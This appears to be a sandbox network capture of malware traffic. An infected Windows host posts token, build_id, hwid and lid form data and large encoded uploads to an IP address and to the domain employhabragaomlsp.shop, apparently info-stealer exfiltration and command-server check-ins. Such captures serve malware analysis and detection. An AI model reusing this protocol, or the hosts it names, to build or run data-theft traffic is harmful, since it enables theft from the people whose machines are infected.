Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49958	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 81545 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:13 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------IJKKEHJDHJKFIECAAKFICont
2024-05-24 07:43:13 UTC	16355	OUT	Data Raw: 38 66 2f 77 43 49 71 6e 69 4d 48 79 65 7a 35 6c 59 36 6c 68 38 5a 7a 2b 30 35 58 63 30 50 42 33 69 43 61 35 75 39 4b 30 4b 39 79 62 6d 79 75 33 4d 62 64 63 6f 49 5a 51 51 54 37 45 67 66 54 36 56 54 38 62 2f 38 6a 62 64 2f 37 73 66 2f 41 4b 41 74 61 6e 68 66 77 44 71 32 69 2b 49 37 54 55 62 71 34 73 33 69 68 33 37 68 47 37 6c 75 55 4b 6a 47 56 48 71 4f 39 5a 66 6a 66 2f 6b 62 62 7a 36 52 2f 77 44 6f 43 31 79 30 58 53 6c 6a 6b 36 54 75 72 50 37 39 54 54 47 4b 72 48 4c 6d 71 71 73 2b 5a 66 64 6f 63 39 53 55 74 46 65 30 66 4e 43 55 55 74 4a 54 41 31 50 44 66 2f 49 79 36 62 2f 31 38 4a 2f 4f 75 39 73 4a 42 5a 2f 45 76 56 6f 5a 76 6c 61 2b 74 6f 70 59 43 66 34 67 69 37 53 50 72 77 66 79 72 67 76 44 6e 2f 49 79 36 62 2f 31 38 70 2f 4f 76 55 50 45 50 68 2b 50 58 Data Ascii: 8f/wCIqniMHyez5lY6lh8Zz+05Xc0PB3iCa5u9K0K9ybmyu3MbdcoIZQQT7EgfT6VT8b/8jbd/7sf/AKAtanhfwDq2i+I7TUbq4s3ih37hG7luUKjGVHqO9Zfjf/kbbz6R/wDoC1y0XSljk6TurP79TTGKrHLmqqs+Zfdoc9SUtFe0fNCUUtJTA1PDf/Iy6b/18J/Ou9sJBZ/EvVoZvla+topYCf4gi7SPrwfyrgvDn/Iy6b/18p/OvUPEPh+PX
2024-05-24 07:43:13 UTC	16355	OUT	Data Raw: 6a 36 6c 2f 65 2f 41 50 72 50 6b 66 63 46 46 66 44 39 46 48 31 4c 2b 39 2b 41 66 57 66 49 2b 34 4b 4b 2b 48 36 4b 50 71 58 39 37 38 41 2b 73 2b 52 39 77 55 56 38 50 30 55 66 55 76 37 33 34 42 39 5a 38 6a 37 67 6f 72 34 66 6f 6f 2b 70 66 33 76 77 44 36 7a 35 48 33 42 52 58 77 2f 52 52 39 53 2f 76 66 67 48 31 6e 79 50 75 43 69 76 68 2b 69 6a 36 6c 2f 65 2f 41 50 72 50 6b 66 63 46 46 66 44 39 46 48 31 4c 2b 39 2b 41 66 57 66 49 2b 34 4b 4b 2b 48 36 4b 50 71 58 39 37 38 41 2b 73 2b 52 39 77 55 56 38 50 30 55 66 55 76 37 33 34 42 39 5a 38 6a 37 67 6f 72 34 66 6f 6f 2b 70 66 33 76 77 44 36 7a 35 48 33 42 52 58 77 2f 52 52 39 53 2f 76 66 67 48 31 6e 79 50 75 43 69 76 68 2b 69 6a 36 6c 2f 65 2f 41 50 72 50 6b 66 63 46 46 66 44 39 46 48 31 4c 2b 39 2b 41 66 57 66 Data Ascii: j6l/e/APrPkfcFFfD9FH1L+9+AfWfI+4KK+H6KPqX978A+s+R9wUV8P0UfUv734B9Z8j7gor4foo+pf3vwD6z5H3BRXw/RR9S/vfgH1nyPuCivh+ij6l/e/APrPkfcFFfD9FH1L+9+AfWfI+4KK+H6KPqX978A+s+R9wUV8P0UfUv734B9Z8j7gor4foo+pf3vwD6z5H3BRXw/RR9S/vfgH1nyPuCivh+ij6l/e/APrPkfcFFfD9FH1L+9+AfWf
2024-05-24 07:43:13 UTC	16355	OUT	Data Raw: 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 62 6e 67 76 2f 41 4a 48 76 77 39 2f 32 45 37 62 2f 41 4e 47 72 58 31 72 58 79 56 34 4c 2f 77 43 52 37 38 50 66 39 68 4f 32 2f 77 44 52 71 31 39 61 31 35 2b 4d 2b 4a 48 58 68 74 6d 46 66 4b 48 2f 41 43 31 66 30 33 47 76 71 2b 76 6c 41 66 36 31 2f 77 44 65 4e 64 2b 53 2f 48 50 35 48 50 6d 48 77 78 50 52 61 4b 57 6a 46 66 51 48 35 32 52 74 4b 45 35 50 47 4b 36 34 44 5a 62 37 6c 50 44 6a 47 61 35 Data Ascii: BRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAbngv/AJHvw9/2E7b/ANGrX1rXyV4L/wCR78Pf9hO2/wDRq19a15+M+JHXhtmFfKH/AC1f03Gvq+vlAf61/wDeNd+S/HP5HPmHwxPRaKWjFfQH52RtKE5PGK64DZb7lPDjGa5
2024-05-24 07:43:13 UTC	16125	OUT	Data Raw: 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 4e 7a 77 58 2f 77 41 6a 33 34 65 2f 37 43 64 74 2f 77 43 6a 56 72 36 31 72 35 4b 38 46 2f 38 41 49 39 2b 48 76 2b 77 6e 62 66 38 41 6f 31 61 2b 74 61 38 2f 47 66 45 6a 72 77 32 7a 43 76 6b 33 72 4d 2f 2b 38 61 2b 73 71 2b 54 66 2b 57 73 6e 2b 38 52 58 64 6b 33 78 79 2b 52 7a 35 68 38 4d 54 30 64 75 6c 56 70 2f 75 4e 39 4b 73 74 Data Ascii: ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKANzwX/wAj34e/7Cdt/wCjVr61r5K8F/8AI9+Hv+wnbf8Ao1a+ta8/GfEjrw2zCvk3rM/+8a+sq+Tf+Wsn+8RXdk3xy+Rz5h8MT0dulVp/uN9Kst
2024-05-24 07:43:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49959	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 07:43:13 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:13 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5oathsk9gonu3ds7ip4qd28vje; expires=Tue, 17-Sep-2024 01:29:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5jajJCfZDeYj7jUATvFdOhcjjgxHosE1lWSb%2FLzEDYNcmR0oz8WEHHiSMf7CwDgCsMVordj5md87LJCN1ASAX9vVSp%2B4se68mekHywndH9zs8QSa8SZFKCzoNxJCCCFnlYPclE36wRLd8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74ecd4e4315-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49961	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:43:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:43:14 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=korf6g416nrb7ifg1d5b9qd6e7; expires=Tue, 17-Sep-2024 01:29:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iFrYXEPh%2FE1gAGSltme5BxmCzav6XbKF5cE3I96ELuFVK8B1QU6I17YadeZieX9MlgZUF4kk9nfwdSs8KkdWTTRsDc3O8uBtcSPCWIvap9q2UrEeltxJ0yVCs3hewQ2os5CTTXwYG60P3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74f6ada8c06-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49960	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:43:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:43:14 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1g97tpqipff3o0enimulpvi2g1; expires=Tue, 17-Sep-2024 01:29:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=riPtssdeU5kL35ZL5nMkzMXGHL39d1xJWuZvvK%2F3D9JCsvuNz8uuONN4xJJIdcNG%2F9w0k4QezofN3HTqLvGg6MLufR9yLqh3F5V8anLurk9fTd1BOEcuykzPtAT46mfV6bjEAp%2Btcu4MxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74ffe098cc5-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49962	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:14 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:14 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:15 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sjhh9uh9ego6q9cob02mof40ft; expires=Tue, 17-Sep-2024 01:29:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MksIdLV9IbJe1LDsOxQ0VSh%2FbgQ4x%2B8gjmgKlaw8g0tkMUNT%2BAIfQHU%2FhT7k6Zn%2BkBYDTXzEjBnmkn9nCIeDMjOEIgopGFLzPeEfuLoRbnZde%2BcqjWyyLTmhsVrUudcFfg5xfLbE%2FwFj0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba75248e243f4-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49964	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:14 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 07:43:14 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:14 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7f7d5pi07daikgsnl8d2os370i; expires=Tue, 17-Sep-2024 01:29:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f4JTBu0TFG8IVsWe3bixQ50dSrsq3iLVGcB4Sm5lgqBEOBCx4DJoDahHqMtHSadf2fWADrK6wuBab98GQZmEvEQkiAaKU4MbYo%2B0vNagGVaFumaMEi0v8Pq%2FU%2FVlBg6jv37y4WMI49lBOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba753b8764229-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49965	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:14 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1443 Host: employhabragaomlsp.shop
2024-05-24 07:43:14 UTC	1443	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:14 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l515ed9af99c2pprjj40ubhk1r; expires=Tue, 17-Sep-2024 01:29:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BZfwTUkDZybo1BKXarTIsXKC9xfyz8w5tOTDGaoN%2Feklx%2FTtiFUAfBwAXh%2F8R6UpvC0OonKvqTQe1KuC%2BFPgjt0Z9zxqOwVpyHREP%2FDqEdZY%2BMIWkoD6DUDBZAZLh22AbCaFb2JHbLsGSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba75408fd7277-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49966	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:14 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571344 Host: employhabragaomlsp.shop
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 